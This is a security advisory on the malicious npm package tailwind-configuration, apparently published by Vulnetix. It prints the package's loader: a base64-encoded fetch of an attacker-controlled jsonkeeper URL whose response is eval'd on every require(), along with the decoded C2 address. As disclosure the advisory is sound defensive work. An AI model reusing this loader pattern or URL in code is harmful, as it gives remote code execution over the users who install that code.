GCVE-110-OSM-2026-1382

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published March 26, 2026

Executes attacker-controlled JavaScript from https://www.jsonkeeper.com/b/Y12K7 on every require() via fetch(atob(...))+eval pattern embedded in index.js. The 7-line package has no legitimate functionality beyond the payload stub. index.js top level calls fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9ZMTJLNw==")) which decodes to https://www.jsonkeeper.com/b/Y12K7, awaits JSON response, and evals response.content in module scope. No install hooks — fires at require() time. Identical C2 URL shared with tailwind-scroller@1.0.2.

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	tailwind-configuration	1.0.1 (affected)	—

References

Malicious npm package: tailwind-configuration

advisory

vendor

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